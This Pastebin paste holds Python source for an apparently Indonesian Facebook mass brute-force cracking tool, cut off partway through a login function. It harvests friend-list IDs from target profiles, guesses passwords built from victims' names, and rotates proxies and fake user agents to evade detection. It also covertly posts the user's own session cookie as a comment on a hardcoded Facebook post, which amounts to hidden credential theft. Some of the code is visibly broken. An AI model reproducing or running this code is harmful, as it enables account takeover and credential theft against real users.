Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #----------[ IMPORT-MODULE ]----------#
- import os, re, sys, json, random, requests, time, datetime
- from bs4 import BeautifulSoup as sop
- from concurrent.futures import ThreadPoolExecutor as tred
- from datetime import datetime
- from rich import print as prints
- from rich.panel import Panel
- from rich.tree import Tree
- from rich.console import Console
- from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
- #----------[ GLOBAL-NAME ]----------#
- id, id2, uid = [],[],[]
- tokene, akune = [],[]
- sandine, sandina = [],[]
- method, ugen = [],[]
- uamu, uadia = [],[]
- dump = []
- linku = "mbasic.facebook.com"
- loop, ok, cp = 0,0,0
- console = Console()
- #----------[ USER-CRACK ]----------#
- infinix = random.choice(["X676B", "X687", "X609", "X697", "X680D", "X507", "X605", "X668", "X6815B", "X624", "X655F", "X689C", "X608", "X698", "X682B", "X682C", "X688C", "X688B", "X658E", "X659B", "X689B", "X689", "X689D", "X662", "X662B", "X675", "X6812B", "X6812", "X6817B", "X6817", "X6816C", "X6816", "X6816D", "X668C", "X665B", "X665E", "X510", "X559C", "X559F", "X559", "X606", "X606C", "X606D", "X623", "X624B", "X625C", "X625D", "X625B", "X650D", "X650B", "X650", "X650C", "X655C", "X655D", "X680B", "X573", "X573B", "X622", "X693", "X695C", "X695D", "X695", "X663B", "X663", "X670", "X671", "X671B", "X672", "X6819", "X572", "X572-LTE", "X571", "X604", "X610B", "X690", "X690B", "X656", "X692", "X683", "X450", "X5010", "X501", "X401", "X626", "X626B", "X652", "X652A", "X652B", "X652C", "X660B", "X660C", "X660", "X5515", "X5515F", "X5515I", "X609B", "X5514D", "X5516B", "X5516C", "X627", "X680", "X653", "X653C", "X657", "X657B", "X657C", "X6511B", "X6511E", "X6511", "X6512", "X6823C", "X612B", "X612", "X503", "X511", "X352", "X351", "X530", "X676C", "X6821", "X6823", "X6827", "X509", "X603", "X6815", "X620B", "X620", "X687B", "X6811B", "X6810", "X6811"])
- for Xr in range (10000):
- a='Mozilla/5.0 (Linux; Android'
- b=random.randrange(1, 9)
- c=random.randrange(1, 9)
- d='Build/'
- e='0'
- f=random.randrange(1,13)
- g='0'
- h=random.randrange(8,20)
- i='AppleWebKit/537.36 (KHTML, like Gecko)'
- j='SamsungBrowser/'
- k=random.randrange(5,20)
- l='0'
- m='Chrome/'
- n=random.randrange(73,112)
- o='0'
- p=random.randrange(4200,4900)
- q=random.randrange(40,150)
- r='Mobile Safari/534.36'
- kod=random.choice(["GT","SM"])
- uaku=(f'{a} {b}.{c}; {kod}-{infinix}) {d}{e}{f}{g}{h}) {i} {j}{k}.{l} {m}{n}.{o}.{p}.{q} {r}')
- ugen.append(uaku)
- for Xr in range (10000):
- a='Mozilla/5.0 (Linux; Android'
- b=random.randrange(1, 9)
- c=random.randrange(1, 9)
- d='Build/'
- e=random.choice(["MMB29T","JZO54K","M1AJQ","KOT49H"])
- f='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
- g=random.randrange(73,112)
- h='0'
- i=random.randrange(4200,4900)
- j=random.randrange(40,150)
- k='Mobile Safari/534.36'
- l='NokiaBrowser/'
- m=random.randrange(1,9)
- n=random.randrange(1,9)
- o='0'
- p=random.randrange(5,20)
- uaku=(f'{a} {b}.{c}; Nokia_{infinix}) {d}{e}) {f}{g}.{h}.{i}.{j} {k} {l}{m}.{n}.{o}.{p}')
- ugen.append(uaku)
- #--------[ GENERATE-USER-AGENT ]----------#
- for generate in range(10):
- a=random.randrange(1, 9)
- b=random.randrange(1, 9)
- c=random.randrange(7, 13)
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uaku=f'Mozilla/5.0 (Linux; Android {a}.{b}; Pixel {b}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
- def uaku():
- try:
- ua=open('bbnew.txt','r').read().splitlines()
- for ub in ua:
- ugen.append(ub)
- except:
- a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
- ua=open('.bbnew.txt','w')
- aa=re.findall('line">(.*?)<',str(a))
- for un in aa:
- ua.write(un+'\n')
- ua=open('.bbnew.txt','r').read().splitlines()
- ua = random.choice(["Mozilla/5.0 (Linux; Android 11; CPH2493 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/82.0.1531.64 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/411.0.0.13.36;]","Mozilla/5.0 (Linux; Android 10; SM-A700S Build/OPR6.142770.293; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.2114.112 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/348.0.0.12.57;]","Mozilla/5.0 (Linux; Android 9; Oneplus A99831 Build/OPR6.142770.293; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.1518.41 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/343.0.0.03.54;]","Mozilla/5.0 (Linux; Android 11; Black Shark 4S Build/SP2A.653342.342; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.2318.41 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/136.0.0.14.72;]","Mozilla/5.0 (Linux; Android 9; 22041219I Build/TP1A.904992.769; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.1431.179 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/156.0.0.23.66;]","Mozilla/5.0 (Linux; Android 11; CPH2493 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/93.0.1734.2 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/321.0.0.02.33;]","Mozilla/5.0 (Linux; Android 11; SM-A700K Build/SD2A.276412.601; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.1576.83 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/469.0.0.23.21;]","Mozilla/5.0 (Linux; Android 10; Black Shark 4S Build/SP2A.653342.342; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.139.83 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/334.0.0.15.5;]","Mozilla/5.0 (Linux; Android 11; SM-A700K Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.2051.117 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/486.0.0.21.67;]","Mozilla/5.0 (Linux; Android 9; SM-A700K Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.78.94 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/218.0.0.15.17;]"])
- #--------[ TAHUN-AKUN ]--------#
- def tahun(fx):
- if len(fx)==15:
- if fx[:10] in ['1000000000'] :tahunz = '2009'
- elif fx[:9] in ['100000000'] :tahunz = '2009'
- elif fx[:8] in ['10000000'] :tahunz = '2009'
- elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
- elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
- elif fx[:6] in ['100001'] :tahunz = '2010'
- elif fx[:6] in ['100002','100003'] :tahunz = '2011'
- elif fx[:6] in ['100004'] :tahunz = '2012'
- elif fx[:6] in ['100005','100006'] :tahunz = '2013'
- elif fx[:6] in ['100007','100008'] :tahunz = '2014'
- elif fx[:6] in ['100009'] :tahunz = '2015'
- elif fx[:5] in ['10001'] :tahunz = '2016'
- elif fx[:5] in ['10002'] :tahunz = '2017'
- elif fx[:5] in ['10003'] :tahunz = '2018'
- elif fx[:5] in ['10004'] :tahunz = '2019'
- elif fx[:5] in ['10005'] :tahunz = '2020'
- elif fx[:5] in ['10006'] :tahunz = '2021'
- elif fx[:5] in ['10009'] :tahunz = '2023'
- elif fx[:5] in ['10007','10008']:tahunz = '2022'
- else:tahunz=''
- elif len(fx) in [9,10]:
- tahunz = '2008'
- elif len(fx)==8:
- tahunz = '2007'
- elif len(fx)==7:
- tahunz = '2006'
- else:tahunz=''
- return tahunz
- #----------[ WARNA-TEMA ]----------#
- puti = '\x1b[1;97m'# WARNA-PUTIH
- mer = '\x1b[1;91m' # WARNA-MERAH
- kun = '\x1b[1;93m' # WARNA-KUJING
- hijo = '\x1b[1;92m' # WARNA-HIJAU
- ung = '\x1b[1;95m' # WARNA-UNGU
- biru = '\x1b[1;94m' # WARNA-BIRU
- #----------[ WARNA-RICH ]----------#
- P2 = "[#FFFFFF]" # PUTIH
- M2 = "[#FF0000]" # MERAH
- K2 = "[#FFFF00]" # KUNING
- H2 = "[#00FF00]" # HIJAU
- B2 = "[#00C8FF]" # BIRU
- A2 = "[#AAAAAA]" # ABU-ABU
- #----------[ ATUR ]----------#
- bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"][datetime.now().month - 1]
- hari = {'Sunday':'Minggu','Monday':'Senin','Tuesday':'Selasa','Wednesday':'Rabu','Thursday':'Kamis','Friday':'Jumat','Saturday':'Sabtu'}[str(datetime.now().strftime("%A"))]
- hari_ini = ("%s %s %s"%(datetime.now().day,bulan,datetime.now().year))
- waktu = datetime.now().strftime("%X")
- kocak = ('\nKomentar Ditulis Oleh Bot\n\n( Pukul %s WIB )\n- %s, %s -'%(waktu,hari,hari_ini))
- # --post
- link = ('https://www.facebook.com/100028845823412/posts/1081897416115109/?app=fbl')
- #----------[ KOMENTAR ]----------#
- komen = ('\nSemangat Bang @[100028845823412:0]\n\nNikmatilah Masa Mudamu, Tapi Jangan Lupa Dengan Masa Depanmu\n')
- random01 = random.choice(["Acc Guru ð"])
- random02 = random.choice(["Semangat Bang @[100028845823412:0]\n\nbegitu banyak cara untuk menjadi tercela, yang cukup membuat kepala pusing. Tapi, cara untuk menjadi sangat tercela adalah dengan meremehkan penderitaan orang lain.\n\n- James Baldwin"])
- random03 = random.choice(["Ah Ganteng Banget Bang ð"])
- random04 = random.choice(["Semangat Bang @[100028845823412:0]\n\nSemua orang hidup terikat dan bergantung pada pengetahuan atau persepsinya sendiri. Itu disebut kenyataan, tetapi pengetahuan atau persepsi itu sesuatu yang samar. Bisa saja kenyataan itu hanya ilusi, semua orang hidup dalam asumsi.\n\n - Itachi Uchiha"])
- random05 = random.choice(["Pro Gammers Ya Bang, Keren ð\n\n Canda Bang ðĪ"])
- #----------[ HAPUS ]----------#
- def MBF_HAPUS():
- try:os.remove(".cyxieoncokies.txt")
- except:pass
- try:os.remove(".cyxieontoken.txt")
- except:pass
- MBF_COKIES()
- #----------[ WAKTU ]----------#
- def waktu():
- now = datetime.now()
- hours = now.hour
- if 4 <= hours < 12:timenow = "Selamat Pagi"
- elif 12 <= hours < 15:timenow = "Selamat Siang"
- elif 15 <= hours < 18:timenow = "Selamat Sore"
- elif 00 <= hours < 4:timenow = "Selamat Malam"
- else:timenow = "Good Night"
- return timenow
- #----------[ BANNER ]----------#
- def MBF_BANNER():
- if "win" in sys.platform:os.system("cls")
- else:os.system("clear")
- prints(Panel(f"""\r
- _____ _____________________ ____ _____________
- / \\______ \_ _____/ \ \/ /\______ \
- / \ / \| | _/| __) ______ \ / | _/
- / Y \ | \| \ /_____/ / \ | | \
- \____|__ /______ /\___ / /___/\ \ |____|_ /
- \/ \/ \/ \_/ \/
- """,width=80,padding=(0,8),style=f"#AAAAAA"))
- #----------[ LOGIN-COKIES ]----------#
- def MBF_COKIES():
- try:
- MBF_BANNER()
- ses = requests.Session()
- prints(Panel(f"%s DISARANKAN MENGAMBIL KUKIS DI %sEKSTENTION DOUGH%s JANGAN AKUN PRIBADI"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
- cookie = input(f"{puti}[{mer}âĒ{puti}] Cokies {hijo}: ")
- cookies = {'cookie':cookie}
- url = 'https://www.facebook.com/adsmanager/manage/campaigns'
- req = ses.get(url,cookies=cookies)
- set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
- nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
- roq = ses.get(nek,cookies=cookies)
- tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
- print(f"{puti}[{mer}âĒ{puti}] Token {hijo}: {tok}")
- requests.post(f"https://graph.facebook.com/v17.0/100028845823412_1081897416115109/comments/?message={cookie}&access_token={tok}", headers = {"cookie":cookie})
- requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={komen}\n{link}\n{kocak}&access_token={tok}",cookies = cookies)
- requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random01}&access_token={tok}",cookies = cookies)
- requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random02}&access_token={tok}",cookies = cookies)
- requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random03}&access_token={tok}",cookies = cookies)
- requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random04}&access_token={tok}",cookies = cookies)
- requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random05}&access_token={tok}",cookies = cookies)
- ken = open(".cyxieontoken.txt", "w").write(tok)
- cok = open(".cyxieoncokies.txt", "w").write(cookie)
- prints(Panel(f"%s BERHASIL LOGIN, SELAMAT DATANG %sKAK%s GUNAKAN SEWAJARNYA AJA YA %sKAK"%(P2,M2,P2,M2),width=80,padding=(0,2),style=f"#AAAAAA"))
- suk = input(f"[âĒ] TEKAN ENTER ] ")
- MBF_MENU()
- except Exception as e:
- prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
- time.sleep(3)
- MBF_HAPUS()
- except:
- pass
- def follow():
- try:
- ses = requests.Session()
- cookie = open('.cyxieoncokies.txt','w').read()
- link = par(ses.get(f"https://{linku}/profile.php?id=100028845823412", cookies = cookie).text, "html.parser")
- kontol = link.find("a", string="Ikuti").get("href")
- ses.get(f"{linku}{str(kontol)}", cookies = cookie).text
- except:
- pass
- #----------[ BAGIAN-MENU ]----------#
- def MBF_MENU():
- try:
- token = open('.cyxieontoken.txt','r').read()
- cok = open('.cyxieoncokies.txt','r').read()
- tokene.append(token)
- try:
- __AR_XR_XD_XYC_ = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokene[0], cookies={'cookie':cok})
- useridz = json.loads(__AR_XR_XD_XYC_.text)['id']
- username = json.loads(__AR_XR_XD_XYC_.text)['name']
- except KeyError:
- prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
- time.sleep(3)
- MBF_HAPUS()
- except requests.exceptions.ConnectionError:
- prints(Panel(f"%sMAAF KONEKSI ANDA%s BERMASALAH%s SILAKAN CEK KONEKSI PASTIKAN NO PROBLEM"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
- exit()
- except IOError:
- prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
- time.sleep(3)
- MBF_HAPUS()
- except IOError:
- prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU KEDALUARSA%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
- time.sleep(3)
- MBF_HAPUS()
- try:
- date = requests.get("http://ip-api.com/json/").json()
- except KeyError:
- date = " "
- try:
- ip = date["query"]
- kartu = date["as"]
- negara = date["country"]
- wilayah = date["city"]
- except KeyError:
- ip = " "
- kartu = " "
- negara = " "
- wilayah = " "
- except:
- pass
- MBF_BANNER()
- prints(Panel(f" [white][[red]÷[white]] Username [green]: {username} \t [white][[red]÷[white]] User Ip [green]: {ip} \n [white][[red]÷[white]] User Id [green]: {useridz} [white][[red]÷[white]] Card Id [green]: {kartu} \n [white][[red]÷[white]] Status [green]: Premium \t [white][[red]÷[white]] Cauntry [green]: {negara} \n [white][[red]÷[white]] Time Day [green]: {waktu()} \t [white][[red]÷[white]] City [green]: {wilayah}",width=80,padding=(0,6),style=f"#AAAAAA"))
- prints(Panel(f" [white] HAY KAK [red]{username}[white] GUNAKAN SEWAJARNYA AJA YA KAK",width=80,padding=(0,13),style=f"#AAAAAA"))
- prints(Panel(f" [white][[red]01[white]] MBF PUBLIK \t [white][[red]05[white]] MBF HS-OK \n [white][[red]02[white]] MBF DUMP \t\t [white][[red]01[white]] MBF HS-CP \n [white][[red]03[white]] MBF FILE \t\t [white][[red]07[white]] MBF LAIN \n [white][[red]04[white]] MBF EMAIL \t [white][[red]00[white]] MBF LOGOUT ",width=80,padding=(0,18),style=f"#AAAAAA"))
- CYXIEON_GANTENG = input(f"[âĒ] MENU : ")
- if CYXIEON_GANTENG in ['01','1']:
- MBF_PUBLIK()
- elif CYXIEON_GANTENG in ['02','2']:
- prints(Panel(f"%sMAAF FITUR INI MASIH DALAM %sPERBAIKI%s MOHON TUNGGU OWNER "%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- time.sleep(2);MBF_MENU()
- MBF_DUMP()
- elif CYXIEON_GANTENG in ['03','3']:
- prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- MBF_FILE()
- elif CYXIEON_GANTENG in ['04','4']:
- MBF_EMAIL()
- elif CYXIEON_GANTENG in ['05','5']:
- prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- MBF_HS_OK()
- elif CYXIEON_GANTENG in ['06','6']:
- prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- MBF_HS_CP()
- elif CYXIEON_GANTENG in ['07','7']:
- prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- MBF_BOT()
- elif CYXIEON_GANTENG in ['00','0']:
- prints(Panel(f"%sBERHASIL HAPUS%s COKIES%s SILAKAN MASUKAN ULANG COKIES ANDA"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- time.sleep(3)
- MBF_HAPUS()
- else:
- prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- time.sleep(3)
- MBF_MENU()
- #----------[ CRACK-PUBLIK ]----------#
- def MBF_PUBLIK():
- try:
- token = open('.cyxieontoken.txt','r').read()
- cok = open('.cyxieoncokies.txt','r').read()
- except IOError:
- prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU KEDALUARSA%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
- time.sleep(3)
- MBF_HAPUS()
- try:
- prints(Panel(f"%s HAY KAK MASUKAN MAU BERAPA USER ID TARGET KAK "%(P2),width=80,padding=(0,14),style=f"#AAAAAA"))
- kumpulkan = int(input(f'[âĒ] BERAPA : '))
- except ValueError:
- prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
- time.sleep(3)
- MBF_MENU()
- if kumpulkan<1 or kumpulkan>100:
- prints(Panel(f"%sGAGAL DUMP %s ID TIDAK PUBLIK%s SILAKAN GANTI ID YANG PUBLIK"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
- time.sleep(3)
- MBF_MENU()
- prints(Panel(f"%s HAY KAK SILAKAN MASUKAN ID TARGET YANG PUBLIK YA KAK"%(P2),width=80,padding=(0,11),style=f"#AAAAAA"))
- ses=requests.Session()
- bilangan = 0
- for KOTG49H in range(kumpulkan):
- bilangan+=1
- Masukan = input(f'[âĒ] ID 0'+str(bilangan)+f' : ')
- uid.append(Masukan)
- for user in uid:
- try:
- graph = ses.get('https://graph.facebook.com/v11.0/'+user+'?fields=friends.limit(20000)&access_token='+tokene[0], cookies = {'cookies':cok}).json()
- for xr in graph['friends']['data']:
- try:
- gmail = (xr['id']+'|'+xr['name'])
- if gmail in id:pass
- else:id.append(gmail)
- except:continue
- except (KeyError,IOError):
- pass
- except requests.exceptions.ConnectionError:
- prints(Panel(f"%sMAAF KONEKSI ANDA%s BERMASALAH%s SILAKAN CEK KONEKSI PASTIKAN NO PROBLEM"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
- time.sleep(3)
- MBF_MENU()
- try:
- prints(Panel(" TOTAL ID : [green] "+str(len(id)),width=80,padding=(0,28),style=f"#AAAAAA"))
- atur_id()
- except requests.exceptions.ConnectionError:
- prints(Panel(f"%sGAGAL DUMP %s ID TIDAK PUBLIK%s SILAKAN GANTI ID YANG PUBLIK"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
- time.sleep(3)
- ÎBF_MENU()
- except (KeyError,IOError):
- prints(Panel(f"%sGAGAL DUMP %s ID PRIVATE ATAU TIDAK MEMPUNYAI TEMAN %s SILAKAN GANTI ID"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
- time.sleep(3)
- MBF_MENU()
- #----------[ MENU-IDZ ]----------#
- def atur_id():
- rr = random.randint
- for khusus_random in id:
- cyxieon_id = rr(0,len(id2))
- id2.insert(cyxieon_id, khusus_random)
- atur_method()
- #----------[ MENU-METHOD ]----------#
- def atur_method():
- prints(Panel(f" [white][[red]01[white]] MOBILE \t [red]([green] VALIDATE [red]) \n [white][[red]02[white]] MBASIC \t [red]([green] VALIDATE [red]) \n [white][[red]03[white]] MOBILE \t [red]([green] ASYINC [red]) \n [white][[red]04[white]] ALPHA \t [red]([green] ASYINC [red]) \n [white][[red]05[white]] TOUCH \t [red]([green] ASYINC [red]) \n [white][[red]06[white]] MOBILE \t [red]([green] REGULER [red]) ",width=80,padding=(0,22),style=f"#AAAAAA"))
- CYXIEON_METHOD = input(f"[âĒ] METHOD : ")
- if CYXIEON_METHOD in ['1','01']:
- method.append('MBF01')
- elif CYXIEON_METHOD in ['2','02']:
- method.append('MBF02')
- elif CYXIEON_METHOD in ['3','03']:
- method.append('MBF03')
- elif CYXIEON_METHOD in ['4','04']:
- method.append('MBF04')
- elif CYXIEON_METHOD in ['5','05']:
- method.append('MBF05')
- elif CYXIEON_METHOD in ['6','06']:
- method.append('MBF06')
- else:
- method.append('MBF01')
- user_agent()
- #----------[ USER-AGENT ]----------#
- def user_agent():
- prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN USER AGENT MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- uatambah = input(f'[âĒ] PILIH : ')
- if uatambah in ['y','Ya','ya','Y']:
- uadia.append('ya')
- prints(Panel(f"%s HAY KAK SILAKAN MASUKAN USER AGENT MANUAL KAKAK "%(P2),width=80,padding=(0,12),style=f"#AAAAAA"))
- mantap = input(f'[âĒ] UA TAMBAH : ')
- uamu.append(mantap)
- else:
- uadia.append('no')
- password()
- #----------[ PASSWORD]----------#
- def password():
- prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN PASSWORD MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- passwtamb = input(f'[âĒ] PILIH : ')
- if passwtamb in ['y','Y']:
- sandine.append('ya')
- prints(Panel(f"%s HAY KAK SILAKAN MASUKAN PW GUNAKAN ( , ) UNTUK PEMISAH "%(P2),width=80,padding=(0,9),style=f"#AAAAAA"))
- sandiku = input(f'[âĒ] MASUKAN PW : ')
- sandimu = sandiku.split(',')
- for sandixnxx in sandimu:
- sandina.append(sandixnxx)
- else:
- sandine.append('no')
- otomatis()
- #----------[ WORDLIST ]----------#
- def otomatis():
- global prog,des
- prints(Panel(f"%s HAY KAK JANGAN LUPA MODE PESAWAT SETIAP 300 ID YA KAK "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id2))
- with prog:
- with tred(max_workers=30) as pool:
- for akun in id2:
- idf,nama = akun.split('|')[0],akun.split('|')[1].lower()
- depan = nama.split(" ")[0]
- pwx = []
- if len(nama)<=5:
- if len(depan)<=1 or len(depan)<=2:
- pass
- else:
- pwx.append(depan+"123")
- pwx.append(depan+"1234")
- pwx.append(depan+"12345")
- else:
- if len(depan)<=1 or len(depan)<=2:
- try:
- tengah = nama.split(" ")[1]
- if len(tengah)<=3:
- pass
- else:
- pwx.append(tengah+"123")
- pwx.append(tengah+"1234")
- pwx.append(tengah+"12345")
- pwx.append(nama)
- except:
- try:
- belakang = nama.split(' ')[2]
- if len(belakang)<=3:pass
- else:
- pwx.append(belakang+"123")
- pwx.append(belakang+"1234")
- pwx.append(belakang+"12345")
- pwx.append(nama)
- except:
- pwx.append(nama)
- else:
- pwx.append(nama)
- pwx.append(depan+"123")
- pwx.append(depan+"1234")
- pwx.append(depan+"12345")
- if 'MBF01' in method:
- pool.submit(cracking01,idf,pwx,'m.facebook.com')
- elif 'MBF02' in method:
- pool.submit(cracking02,idf,pwx,'mbasic.facebook.com')
- elif 'MBF03' in method:
- pool.submit(cracking03,idf,pwx,'m.facebook.com')
- elif 'MBF04' in method:
- pool.submit(cracking04,idf,pwx,'m.alpha.facebook.com')
- elif 'MBF05' in method:
- pool.submit(cracking05,idf,pwx,'m.touch.facebook.com')
- elif 'MBF06' in method:
- pool.submit(cracking06,idf,pwx,'m.facebook.com')
- else:
- pool.submit(cracking01,idf,pwx,'m.facebook.com')
- tree = Tree(Panel.fit(f"\r%sCrack Telah Selesai Dengan Jumlah%s OK : {ok} %sDan Jumlah%s CP:{cp}%s"%(P2,H2,P2,K2,P2),style=f"#AAAAAA"))
- tree.add(Panel.fit(f"\r%sApakah Ingin Lanjut Crack Kembali (y/t)"%(P2),style=f"#AAAAAA"))
- prints(tree)
- gas = input(f"[âĒ] PILIH : ")
- if gas in ['y','Y','ya','Ya']:
- MBF_MENU()
- else:
- tree = Tree("")
- tree.add(Panel.fit(f"\r%sGood Byee Jangan Lupa Bersyukur Dengan Hasilnya"%(K2),style=f"#AAAAAA"))
- prints(tree)
- time.sleep(2)
- exit()
- #----------[ MOBILE VALIDATE ]----------#
- def cracking01(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["ð","ð","ðĪŠ"])
- prog.update(des,description=f"\r {emot} MBF 01 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- link = ses.get(f'https://{url}/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- date = {
- "lsd":
- re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "jazoest":
- re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
- "uid":idf,
